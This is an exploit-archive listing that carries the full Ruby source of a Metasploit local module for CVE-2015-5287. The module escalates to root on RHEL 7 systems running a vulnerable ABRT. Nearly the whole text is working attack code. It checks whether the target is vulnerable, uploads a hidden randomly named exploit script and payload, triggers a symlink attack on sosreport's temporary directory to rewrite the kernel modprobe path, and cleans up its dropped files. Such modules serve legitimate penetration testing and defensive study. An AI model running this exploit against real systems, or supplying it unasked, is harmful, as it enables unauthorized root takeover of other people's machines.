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ABRT sosreport Privilege Escalation

ABRT sosreport Privilege Escalation
Posted Sep 24, 2019
Authored by rebel, Brendan Coles | Site metasploit.com

This Metasploit module attempts to gain root privileges on RHEL systems with a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured as the crash handler. sosreport uses an insecure temporary directory, allowing local users to write to arbitrary files (CVE-2015-5287). This module has been tested successfully on abrt 2.1.11-12.el7 on RHEL 7.0 x86_64 and abrt 2.1.11-19.el7 on RHEL 7.1 x86_64.

tags | exploit, arbitrary, local, root
advisories | CVE-2015-5287
MD5 | 0f23d5ba9a3e00fce536b47e337e69e0

ABRT sosreport Privilege Escalation

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'ABRT sosreport Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges on RHEL systems with
a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured
as the crash handler.

`sosreport` uses an insecure temporary directory, allowing local users
to write to arbitrary files (CVE-2015-5287). This module uses a symlink
attack on `/var/tmp/abrt/cc-*$pid/` to overwrite the `modprobe` path
in `/proc/sys/kernel/modprobe`, resulting in root privileges.

Waiting for `sosreport` could take a few minutes.

This module has been tested successfully on:

abrt 2.1.11-12.el7 on RHEL 7.0 x86_64; and
abrt 2.1.11-19.el7 on RHEL 7.1 x86_64.
},
'License' => MSF_LICENSE,
'Author' =>
[
'rebel', # Discovery and sosreport-rhel7.py exploit
'bcoles' # Metasploit
],
'DisclosureDate' => '2015-11-23',
'Platform' => ['linux'],
'Arch' =>
[
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [[ 'Auto', {} ]],
'References' =>
[
['BID', '78137'],
['CVE', '2015-5287'],
['EDB', '38832'],
['URL', 'https://www.openwall.com/lists/oss-security/2015/12/01/1'],
['URL', 'https://access.redhat.com/errata/RHSA-2015:2505'],
['URL', 'https://access.redhat.com/security/cve/CVE-2015-5287'],
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1266837']
]
))
register_options [
OptInt.new('TIMEOUT', [true, 'Timeout for sosreport (seconds)', '600'])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end

def base_dir
datastore['WritableDir']
end

def timeout
datastore['TIMEOUT']
end

def check
kernel_core_pattern = cmd_exec 'grep abrt-hook-ccpp /proc/sys/kernel/core_pattern'
unless kernel_core_pattern.include? 'abrt-hook-ccpp'
vprint_error 'System is not configured to use ABRT for crash reporting'
return CheckCode::Safe
end
vprint_good 'System is configured to use ABRT for crash reporting'

if cmd_exec('systemctl status abrt-ccpp | grep Active').include? 'inactive'
vprint_error 'abrt-ccp service not running'
return CheckCode::Safe
end
vprint_good 'abrt-ccpp service is running'

# Patched in 2.1.11-35.el7
pkg_info = cmd_exec('yum list installed abrt | grep abrt').to_s
abrt_version = pkg_info[/^abrt.*$/].to_s.split(/\s+/)[1]
if abrt_version.blank?
vprint_status 'Could not retrieve ABRT package version'
return CheckCode::Safe
end
unless Gem::Version.new(abrt_version) < Gem::Version.new('2.1.11-35.el7')
vprint_status "ABRT package version #{abrt_version} is not vulnerable"
return CheckCode::Safe
end
vprint_good "ABRT package version #{abrt_version} is vulnerable"

unless command_exists? 'python'
vprint_error 'python is not installed'
return CheckCode::Safe
end
vprint_good 'python is installed'

CheckCode::Appears
end

def upload_and_chmodx(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
chmod path
register_file_for_cleanup path
end

def exploit
unless check == CheckCode::Appears
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end

if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end
end

unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end

exe_data = ::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2015-5287', 'sosreport-rhel7.py')
exe_name = ".#{rand_text_alphanumeric 5..10}"
exe_path = "#{base_dir}/#{exe_name}"
upload_and_chmodx exe_path, exe_data

payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"
upload_and_chmodx payload_path, generate_payload_exe

register_file_for_cleanup '/tmp/hax.sh'

print_status "Launching exploit - This might take a few minutes (Timeout: #{timeout}s) ..."
output = cmd_exec "echo \"#{payload_path}& exit\" | #{exe_path}", nil, timeout
output.each_line { |line| vprint_status line.chomp }
end
end
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